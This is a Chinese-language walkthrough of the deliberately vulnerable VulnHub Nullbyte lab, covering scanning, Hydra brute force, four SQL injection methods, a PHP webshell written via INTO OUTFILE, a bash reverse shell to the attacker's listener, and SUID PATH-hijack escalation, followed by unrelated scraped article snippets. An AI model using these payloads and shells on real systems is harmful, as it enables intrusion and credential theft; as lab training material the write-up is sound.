Linux渗透实战之Nullbyte靶场提权
0x1 前言
一、浅谈
哈喽师傅们,这次又到了给师傅们分享文章的时候了,这篇文章呢主要是给师傅们以vulnhub中的Nullbyte靶场来给师傅们演示下通过Hydra表单暴力破解等操作拿到账户密码,然后中间以四种sql注入的方式给大家非常详细的操作了sql注入的一个过程,包括后面的拿权限等操作。
以靶场的形式给师傅们展示,这样大家看到我的一些好的操作也就可以去操作,去复现,这个也是后面我写一些渗透测试文章相关的一个走向,因为之前写了很大实战中的案例分享,但是是真实的站点,也不好给大家实操,只能作为思路分享,但是我现在单独拿出一些好的靶场来给师傅们演示渗透测试,那么这样对于师傅们来讲是一个不错的体验!
二、靶机介绍
靶机精讲之Nullbyte。涉及Hydra表单暴力破解,John md5哈希暴力破解,手工SQL注入数据库信息猜解、SQL注入数据库写入一句话木马、写入反弹shell,使用SQLmap自动化注入,可谓SQL注入技能大赏。提权用具有suid权限的可执行文件,执行我们写入的shell的方式实现。很精彩的一台sql注入为主的靶机,值得研究和学习。
0x2 信息收集
一、主机探测
利用arp探测,发现靶机的IP地址是192.168.103.160
┌──(root-kali)-[~]
└─# arp-scan -l
二、端口扫描
利用nmap进行端口扫描,发现靶机开放了80、111、777、38389端口,其中这里的ssh服务的22端口改成了777端口,这里需要师傅们注意下。
┌──(root-kali)-[~]
└─# nmap -sS -A -p- 192.168.103.160
再利用nmap进行UDP端口的扫描,但是没有什么特别值得去挖掘的地方,从目前的情况来看,80端口是最值得去查看的。
┌──(root-kali)-[~]
└─# nmap -sU --top-port 20 192.168.103.160
-sU
: 这个选项告诉Nmap执行UDP扫描。--top-port 20
: 这个选项告诉Nmap只扫描最常见的20个端口。Nmap会扫描UDP端口1到20,这些端口通常是最有可能开放的UDP端口。
三、漏洞扫描
利用nmap进行漏洞扫描挖掘,看看有没有什么新的发现。
┌──(root-kali)-[~]
└─# nmap --script=vuln -p80,111,777,38389 192.168.103.160
nmap
: 这是Nmap扫描程序的命令。--script=vuln
: 这个选项告诉Nmap使用漏洞扫描脚本,以探测目标主机上的已知漏洞。-p80,111,777,38389
: 这个选项指定了要扫描的端口号,包括80(常用的Web服务端口)、111(RPC端口)、777(ssh端口)和38389等。192.168.103.160
: 这是目标主机的IP地址。
扫描发现,web的80端口下有/phpmyadmin/目录,以及扫描发现到这个靶场还可能存在CVE:CVE-2007-6750漏洞,这个漏洞大家可以上网查找一下,然后复现下。我这里复现过了,他这个漏洞的危害就是,可以利用MSF模块进行攻击,然后使http页面瘫痪,访问不了的作用,但是这里对我们的渗透测试没有什么特别大的价值。
0x3 渗透测试+信息收集
一、web渗透
访问web的80端口,就一张图片,右击查看网页源代码,就显示了一张图片名字,没有任何的提示了。还是没有什么发现,我们尝试进行目录扫描,看看有什么突破没有。
二、目录扫描
我们利用gobuster 进行扫描目录,发现扫描得到了/uploads、/phpmyadmin、/javascript目录,我们下面尝试进行访问扫描出来的目录。
┌──(root-kali)-[~]
└─# gobuster dir -u http://192.168.103.160 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
gobuster
: 这是目录和文件爆破工具。dir
: 利用gobuster执行目录爆破。-u http://192.168.103.160
: 要爆破的目标URL。-w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
: 这个字典在kali中常用于进行目录爆破的,师傅们可以记下
访问/uploads/目录,提示这个目录下没有任何的文件,这就给我们一个提示,说不定是叫我们到时候上传上去呢,要不然不会无辜给出一个/uploas/目录的,这个我们后面多注意下。
访问/phpmyadmin/目录,发现需要进行登录,一般像这种情况,我们可以进行弱口令登录,有就有,没有就算了,因为实战中就是这莫个思路。
想到要账号密码,那我们得进行信息收集,把像密码的收集起来,然后进行登录尝试。
我们开始进行web渗透信息收集的时候,开始有张图片,我们可以按照CTF的思路进行分析,因为这张图片是在web网站的根目录下,所以我们可以直接进行下载。
┌──(root-kali)-[~/桌面]
└─# wget http://192.168.103.160/main.gif
利用exiftool 工具,得到一串特殊的字符串,看着很像密码,我们把这一串保存下来。
然后放到开始的/phpmyadmin/目录下,尝试root/admin的密码登录,但是发现都失败了,那kzMb5nVYJw到底是什么呢?
说不定是目录呢,这也有可能啊,我们目前也没有什么突破点,那就死马当活马医,尝试尝试把。
exiftool main.gif
还真的是一个目录,太神奇了,以前都都很少遇到!!!
我们尝试输入一个值,发现报错,我们看看网页源代码,提示说这个表单没有连接到mysql,密码没有那么复杂。
并且我们可以看到这个key是password类型,说明这是一个密码,我们可以尝试利用hydra进行密码爆破。
三、hydra爆破key值
利用hydra九头蛇进行爆破,其中rockyou.txt是kali中常用密码碰撞的字典,师傅们可以记录下。
爆破后得到密码是:elite
┌──(root-kali)-[~/桌面]
└─# hydra 192.168.103.160 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt
hydra
: 这是执行暴力破解攻击的工具。192.168.103.160
: 这是目标主机的IP地址。http-form-post
: 这个选项告诉Hydra使用HTTP POST方法来提交表单。"/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
: 这是指定了要攻击的目标URL和表单字段。在这个URL中,kzMb5nVYJw/index.php
是表单提交的路径,key=^PASS^
是表单字段,^PASS^
是Hydra将会尝试猜测的密码的占位符,而invalid key
是当密码错误时,网站返回的响应。-l routing
: 这个选项指定了要猜测的用户名,routing
在这里是一个示例用户名。-P /usr/share/wordlists/rockyou.txt
: 这个选项指定了用于猜测密码的字典文件路径。在这里,使用了一个常见的密码字典文件/usr/share/wordlists/rockyou.txt
。
输入key后,得到下面的界面
0x4 sql注入大赏
一、手工联合注入大赏
我们右击查看源代码,发现了420search.php 文件,这个文件应该是与这个界面交互的一个文件。
我们随便输入一个123,提示我们成功查询到数据,并且我们发现这里存在GET传参,
我们把123删掉,发现了两个用户,以及别的信息,这很有可能存在sql注入漏洞,我们下一步就是可以进行sql注入漏洞尝试。
当我们输入双引号",发现这个页面报错了,说明我们的猜想是正确的,就是存在sql注入
1、order by查看这个数据库的列数,我们发现3列正常回显,而4列的时候报错了,说明这个数据库就是3列。
" order by 1,2,3-- -
2、union select查看数据库,发现数据库的名是:seth
" union select 1,2,database()-- -
3、查看表,发现表名叫users
" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
4、查看列名,得到列:id,user,pass,position
" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -
5、查看user,pass内容,为了看清楚,我这里把user和pass分别查看,因为pass是一个字符串比较长。
" union select 1,2,group_concat(user) from users-- -" union select 1,2,group_concat(pass) from users-- -
进行base64解码,然后得到一个看上去很像MD5的字符串。
┌──(root-kali)-[~/桌面]
└─# echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE" |base64 -d c6d6bd7ebf806f43c76acc3681703b81
利用hash-identifier工具进行判断,说明就是MD5加密的
┌──(root-kali)-[~/桌面]
└─# hash-identifier "c6d6bd7ebf806f43c76acc3681703b81"
进行MD5解密,得到密码mega
https://www.somd5.com/
我们下面就可以进行ssh登录了
┌──(root-kali)-[~/桌面]
└─# ssh ramses@192.168.103.160 -p 777The authenticity of host '[192.168.103.160]:777 ([192.168.103.160]:777)' can't be established.
ECDSA key fingerprint is SHA256:H/Y/TKggtnCfMGz457Jy6F6tUZPrvEDD62dP9A3ZIkU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.103.160]:777' (ECDSA) to the list of known hosts.
ramses@192.168.103.160's password:The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109
ramses@NullByte:~$ id
uid=1002(ramses) gid=1002(ramses) groups=1002(ramses)
ramses@NullByte:~$ whoami
ramses
ramses@NullByte:~$ uname -a
Linux NullByte 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt11-1+deb8u2 (2015-07-17) i686 GNU/Linux
二、SQL注入写入一句话木马
采用另外一种方法进行注入获取登录凭据。我们尝试通过注入写入一句话php木马,一句话木马如下:
<?php system($_GET[cmd]);?>
实际上,注入时能写入文件的前提有两点:1.数据库secure_file_priv参数为空,即我们具有写的权限。2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。
这里我们利用into outfile写入php木马文件到/var/www/html/uploads/目录下,然后利用GET传参,执行命令。
" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -
我们发现命令执行成功了,
尝试读取一些敏感文件,存在注入的页面的源代码提示我们这个界面与420search.php这个后端文件有交互,那我们就尝试读取420search.php即可:
?cmd=cat%20/var/www/html/kzMb5nVYJw/420search.php
得到:数据库的账号为root,密码为sunnyvale
那么我们就可以利用这个账号密码进行登录/phpmyadmin/了
跟我们第一种方法一样,都拿到了用户以及密码的加密字符串,解密的方式都一样,我这里就不再给师傅们演示了。
三、SQL注入写入反弹shell
我们这个靶机的那个存在sql注入界面的地方,我们第二种方法是以写入php木马执行文件,然后进行执行命令,那么我们可以执行命令,我们不就可以直接写入反弹shell的木马,然后直接迁移shell了。(下面的是监听的IP,也就是你自己的kali机器的IP地址)
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'"); ?>
我们同样可以通过注入的方式直接把这行代码写入/uploads/目录,命名为 nc.php,注入语句如下:
(特别注意由于php语句是在双引号内,因此php语句中出现的双引号需要加\进转义)
" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/nc.php" -- -
先在kali上进行监听,然后再访问/uploads/nc.php文件,就可以成功反弹shell了。
然后切换到/var/www/html/kzMb5nVYJw目录下,就可以跟第二种方法一样利用账号密码,然后拿到ssh远程账号和密码,然后再进行提权操作。
四、脚本小子,SQLmap一把梭
利用sqlmap跑脚本,就不带师傅们讲太多了,只要找到了注入点,直接用脚本的命令跑就好了。
┌──(root-kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch
得到的结果和开始前三种方法都是一样的,得到ssh登录的shell
+----+---------------------------------------------+--------+------------+
| id | pass | user | position |
+----+---------------------------------------------+--------+------------+
| 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
| 2 | --not allowed-- | isis | employee |
+----+---------------------------------------------+--------+------------+
密码,先base64解密,然后再md5解密,
得到密码是:omega
0x5 提权
一、ssh登录
┌──(root-kali)-[~]
└─# ssh ramses@192.168.103.160 -p 777 密码omega
二、SUID提权
我们进行sudo -l,查看定时任务都没有发现什么有价值的信息,但是我们查看具有suid权限的,也就是权限中具有S位,说明该文件运行时具有其属主的权限,就是root的权限。
确实是具有S权限的,也就是root权限的,我们可以利用执行这个命令,然后提权。
ramses@NullByte:~$ ls -la /var/www/backup/procwatch
-rwsr-xr-x 1 root root 4932 Aug 2 2015 /var/www/backup/procwatch
切换到/var/www/backup目录下,查看文件详细内容
尝试用运行procwatch,看看发生了什么:
ramses@NullByte:/var/www/backup$ ./procwatchPID TTY TIME CMD1390 pts/0 00:00:00 procwatch1391 pts/0 00:00:00 sh1392 pts/0 00:00:00 ps
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps连接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps
然后我们修改环境变量,将当前目录.追加到环境变量的最开始:
export PATH=.:$PATH
然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了。
ramses@NullByte:/var/www/backup$ ./procwatchPID TTY TIME CMD1390 pts/0 00:00:00 procwatch1391 pts/0 00:00:00 sh1392 pts/0 00:00:00 ps
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ ls -la
total 20
drwxrwxrwx 2 root root 4096 Mar 10 18:00 .
drwxr-xr-x 4 root root 4096 Aug 2 2015 ..
-rwsr-xr-x 1 root root 4932 Aug 2 2015 procwatch
lrwxrwxrwx 1 ramses ramses 7 Mar 10 18:00 ps -> /bin/sh
-rw-r--r-- 1 root root 28 Aug 2 2015 readme.txt
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ./procwatch
# id
uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses)
成功拿下了这台靶机!!!
0x6 总结
这篇文章到这里就给师傅们分享完毕了,这个靶机还是蛮不错的,一个很完整的渗透测试流程展现出来了,漏洞还是蛮多的,适合大部分师傅们上手操作,本文的wp写的也蛮详细的,其中sql注入写了四种方法,建议师傅们打这个靶场之前先不要看wp解析,先打完再看,这样渗透测试的过程可以更加清晰!
相关文章:

Linux渗透实战之Nullbyte靶场提权
0x1 前言 一、浅谈 哈喽师傅们,这次又到了给师傅们分享文章的时候了,这篇文章呢主要是给师傅们以vulnhub中的Nullbyte靶场来给师傅们演示下通过Hydra表单暴力破解等操作拿到账户密码,然后中间以四种sql注入的方式给大家非常详细的操作了sql…...

(STM32笔记)十二、DMA的基础知识与用法 第三部分
我用的是正点的STM32F103来进行学习,板子和教程是野火的指南者。 之后的这个系列笔记开头未标明的话,用的也是这个板子和教程。 DMA的基础知识与用法 三、DMA程序验证1、DMA 存储器到存储器模式实验(1)DMA结构体解释(2…...

品牌账号矩阵如何打造?来抄作业
在讲究全域营销的当下,目前企业都在各自搭建品牌矩阵号,以提升自己在不同渠道上的影响力。虽然不同平台之间有诸多细节值得深究,但也不妨碍我们先了解如何搭建品牌矩阵。接下来,就让我们一同来了解下该如何搭建。 一、一个主账号 …...

基于vue的商城小程序的毕业设计与实现(源码及报告)
环境搭建 ☞☞☞ Vue入手篇(一),防踩雷(全网最详细教程)_vue force-CSDN博客 目录 一、功能介绍 二、登录注册功能 三、首页 四、项目截图 五、源码获取 一、功能介绍 用户信息展示:页面顶部设有用户头像和昵称展示区,方便用户识别…...

NineData云原生智能数据管理平台新功能发布|2024年12月版
本月发布 7 项更新,其中重点发布 2 项、功能优化 5 项。 重点发布 数据库 Devops - Oracle 非表对象支持可视化创建与管理 Oracle 非表对象,包括视图(View)、包(Package)、存储过程(Procedur…...

【Vue.js 组件化】高效组件管理与自动化实践指南
文章目录 摘要引言组件命名规范与组织结构命名规范目录组织 依赖管理工具自动化组件文档生成构建自动引入和文档生成的组件化体系代码结构自动引入组件配置使用 Storybook 展示组件文档自动生成 代码详解QA 环节总结参考资料 摘要 在现代前端开发中,组件化管理是 V…...
Clojure语言的并发编程
Clojure语言的并发编程 引言 在现代软件开发中,并发编程成为了处理多个任务、提高应用效率和响应速度的重要手段。尤其是在多核处理器逐渐成为主流的今天,如何高效利用这些计算资源是每个开发者面临的挑战。Clojure作为一种函数式编程语言,…...

RabbitMQ-SpringAMQP使用介绍
RabbitMQ 1. Spring AMQP1.1 引入依赖1.2 消息发送1.3 消息接收1.4 WorkQueue模型1.4.1 实例代码1.4.2 能者多劳1.4.3 总结 1.5交换机1.6 Fanout交换机(广播)1.7 Direct交换机(订阅)1.8 Topic交换机(通配符订阅&#x…...

ASP.NET Core 中服务生命周期详解:Scoped、Transient 和 Singleton 的业务场景分析
前言 在 ASP.NET Core 中,服务的生命周期直接影响应用的性能和行为。通过依赖注入容器 (Dependency Injection, DI),我们可以为服务定义其生命周期:Scoped、Transient 和 Singleton。本文将详细阐述这些生命周期的区别及其在实际业务中的应用…...
c语言----------小知识
1 system函数的使用 #include <stdlib.h> int system(const char *command); 功能:在已经运行的程序中执行另外一个外部程序 参数:外部可执行程序名字 返回值: 成功:0 失败:任意数字示例代码: #inc…...
React Context用法总结
1. 基本概念 1.1 什么是 Context Context 提供了一种在组件树中共享数据的方式,而不必通过 props 显式地逐层传递。它主要用于共享那些对于组件树中许多组件来说是"全局"的数据。 1.2 基本用法 // 1. 创建 Context const ThemeContext React.createC…...

[笔记] 使用 Jenkins 实现 CI/CD :从 GitLab 拉取 Java 项目并部署至 Windows Server
随着软件开发节奏的加快,持续集成(CI)和持续部署(CD)已经成为确保软件质量和加速产品发布的不可或缺的部分。Jenkins作为一款广泛使用的开源自动化服务器,为开发者提供了一个强大的平台来实施这些实践。然而…...

腾讯云AI代码助手编程挑战赛-如意
作品简介 《如意》是一款结合腾讯云AI代码助手生成的、集智能问答、知识学习和生活助手功能于一体的应用,在通过先进的AI技术提升用户的工作效率、学习效果和生活质量。无论是解答疑难问题、提供专业建议,还是帮助规划日程、提升技能,它都能…...

TAS测评倍智题库 | 益丰大药房2025年中高层测评BA商业推理测评真题考什么?
您好!您已被邀请参加360评估。您的评估与反馈将有助于被评估人更深入地了解个人情况,发现个人优势和潜在风险。请您秉持公正、开放的心态进行评估。请尽快完成评估,在此衷心感谢您的配合与支持! 相关事宜: 请您在…...

2025 First LOOK! CnosDB 新版本 2.4.3.1 发布
🔹 版本号:2.4.3.1 🔹 发布日期:2024年11月05日 功能优化 简化编解码器错误定义 #2368 删除不必要的const DEFAULT_* #2378 添加 wal 压缩检查 #2377 移除 page reader #2380 创建配额 #2367 减少内存复制和计算 #2384 构…...

PyMysql 01|(包含超详细项目实战)连接数据库、增删改查、异常捕获
目录 一、数据库操作应用场景 二、安装PyMysql 三、事务的概念 四、数据库的准备 五、PyMysql连接数据库 1、建立连接方法 2、入门案例 六、PyMysql操作数据库 1、数据库查询 1️⃣查询操作流程 2️⃣cursor游标 3️⃣查询常用方法 4️⃣案例 5️⃣异常捕获 …...

Android14上使用libgpiod[gpioinfo gpioget gpioset ...]
环境 $ cat /etc/os-release NAME="Ubuntu" VERSION="20.04.5 LTS (Focal Fossa)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 20.04.5 LTS" VERSION_ID="20.04" HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="…...

网络安全 信息收集入门
1.信息收集定义 信息收集是指收集有关目标应用程序和系统的相关信息。这些信息可以帮助攻击者了解目标系统的架构、技术实现细节、运行环境、网络拓扑结构、安全措施等方面的信息,以便我们在后续的渗透过程更好的进行。 2.收集方式-主动和被动收集 ①收集方式不同…...
修改sshd默认配置,提升安全
对于Linux服务器,特别是暴露在公网的服务器,会经常被人扫描、探测和攻击。包括通过ssh访问登录攻击。对此,对默认的sshd配置进行调整,提升安全。 下面以CentOS 7.9为例说明: 一、常见安全措施 以root用户编辑vim /e…...
Clojure语言的面向对象编程
Clojure语言的面向对象编程 引言 Clojure是一种现代的Lisp方言,它特别强调函数式编程,Immutable数据结构和强大的并发能力。然而,很多人可能会问:Clojure支持面向对象编程吗?虽然Clojure没有像Java或C那样的传统类和…...
Python爬虫实战:研究MechanicalSoup库相关技术
一、MechanicalSoup 库概述 1.1 库简介 MechanicalSoup 是一个 Python 库,专为自动化交互网站而设计。它结合了 requests 的 HTTP 请求能力和 BeautifulSoup 的 HTML 解析能力,提供了直观的 API,让我们可以像人类用户一样浏览网页、填写表单和提交请求。 1.2 主要功能特点…...
React 第五十五节 Router 中 useAsyncError的使用详解
前言 useAsyncError 是 React Router v6.4 引入的一个钩子,用于处理异步操作(如数据加载)中的错误。下面我将详细解释其用途并提供代码示例。 一、useAsyncError 用途 处理异步错误:捕获在 loader 或 action 中发生的异步错误替…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?
Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以? 在 Golang 的面试中,map 类型的使用是一个常见的考点,其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...

UE5 学习系列(三)创建和移动物体
这篇博客是该系列的第三篇,是在之前两篇博客的基础上展开,主要介绍如何在操作界面中创建和拖动物体,这篇博客跟随的视频链接如下: B 站视频:s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
uniapp中使用aixos 报错
问题: 在uniapp中使用aixos,运行后报如下错误: AxiosError: There is no suitable adapter to dispatch the request since : - adapter xhr is not supported by the environment - adapter http is not available in the build 解决方案&…...
Angular微前端架构:Module Federation + ngx-build-plus (Webpack)
以下是一个完整的 Angular 微前端示例,其中使用的是 Module Federation 和 npx-build-plus 实现了主应用(Shell)与子应用(Remote)的集成。 🛠️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...